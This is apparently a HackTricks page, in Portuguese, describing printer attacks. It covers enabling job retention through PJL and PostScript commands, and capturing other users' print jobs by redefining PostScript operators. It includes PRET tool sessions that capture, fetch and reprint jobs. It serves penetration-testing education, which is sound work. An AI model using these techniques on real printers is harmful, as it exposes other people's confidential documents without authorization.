9.9 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Retenção de Trabalho
Algumas impressoras possuem trabalhos de impressão armazenados acessíveis a partir do servidor web. Geralmente, no entanto, a retenção de trabalhos deve ser ativada explicitamente para um determinado trabalho de impressão e pode ser feita usando comandos PJL padrão ou código PostScript proprietário. Os trabalhos são então mantidos na memória e podem ser reimpressos a partir do painel de controle.
PJL
A retenção de trabalho legítima pode ser ativada para o documento atual definindo a variável PJL HOLD conforme mostrado abaixo:
@PJL SET HOLD=ON
[actual data to be printed follows]
Os trabalhos retidos são mantidos na memória e podem ser reimpressos a partir do painel de controle da impressora. Essa funcionalidade é suportada por várias impressoras, no entanto, parece que apenas alguns dispositivos Epson permitem que a retenção permanente de trabalhos seja definida usando @PJL DEFAULT HOLD=ON
.
Como testar esse ataque?
Use o comando hold
do PRET no modo pjl e verifique se a retenção permanente de trabalhos pode ser definida:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF
PostScript
O PostScript oferece funcionalidade semelhante, mas é específico para modelo e fornecedor. Para as séries HP LaserJet 4k e várias impressoras Kyocera, a retenção de trabalhos pode ser ativada adicionando os seguintes comandos a um documento PostScript:
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
Embora seja teoricamente possível habilitar permanentemente a retenção de trabalhos PostScript usando o operador startjob, essa configuração é explicitamente redefinida pelo CUPS no início de cada trabalho de impressão usando << /Collate false >> setpagedevice
. Para contrariar esse mecanismo de proteção, no entanto, o atacante pode redefinir permanentemente o operador setpagedevice
para não ter efeito algum.
Como testar esse ataque?
Use o comando hold
do PRET no modo ps:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
Captura de Trabalho
É possível, embora incomum, ativar a retenção de trabalhos na caixa de diálogo de impressão, conforme discutido acima. No entanto, com o PostScript, é possível ter acesso completo ao trabalho de impressão atual e, com o operador startjob, é possível até mesmo sair do loop do servidor e acessar trabalhos futuros. Tal funcionalidade tem o potencial de capturar todos os documentos se o PostScript for usado como driver de impressora.
PostScript
Com a capacidade de se conectar a operadores PostScript arbitrários, é possível manipular e acessar trabalhos de impressão estrangeiros. Para analisar o fluxo de dados real enviado para a impressora, pode-se aplicar um recurso interessante da linguagem PostScript: ler seu próprio código de programa como dados usando o operador currentfile
. Dessa forma, todo o fluxo de dados a ser processado pelo interpretador PostScript pode ser acessado por leitura e armazenado em um arquivo no dispositivo da impressora. Se a impressora não oferecer acesso ao sistema de arquivos, os documentos capturados podem ser armazenados na memória, por exemplo, dentro de dicionários PostScript permanentes.
Um problema prático é decidir qual operador deve ser conectado, já que não se tem acesso ao fluxo de dados até que esse operador seja processado pelo interpretador PostScript. Como um atacante deseja capturar trabalhos de impressão desde o início, o operador redefinido deve ser o primeiro operador contido no documento PostScript. Felizmente, todos os documentos impressos com o CUPS são pressionados em uma estrutura fixa que começa com currentfile /ASCII85Decode filter /LZWDecode filter cvx exec
. Com base na suposição de tal estrutura fixa, o atacante pode capturar documentos desde o início e executar (ou seja, imprimir) o arquivo posteriormente. Para sistemas de impressão diferentes do CUPS, esse ataque também deve ser possível, mas os operadores precisam ser adaptados. Observe que o cabeçalho PostScript, que geralmente inclui o tamanho da mídia, o usuário e os nomes dos trabalhos, não pode ser capturado usando este método, porque primeiro nos conectamos no início do documento real. Outra estratégia genérica para se conectar no início de cada trabalho de impressão é definir o parâmetro do sistema BeginPage
, se suportado pela impressora (a maioria das impressoras faz isso). Essa vulnerabilidade provavelmente está presente em dispositivos de impressão há décadas, pois apenas construções de linguagem definidas pelo padrão PostScript são abusadas.
Use o comando capture
do PRET no modo ps:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture
Print job operations: capture <operation>
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
Agora, imprima documentos arbitrários (certifique-se de que o PRET está desconectado para não bloquear o canal de impressão). Depois, você pode listar, buscar ou reimprimir documentos capturados:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.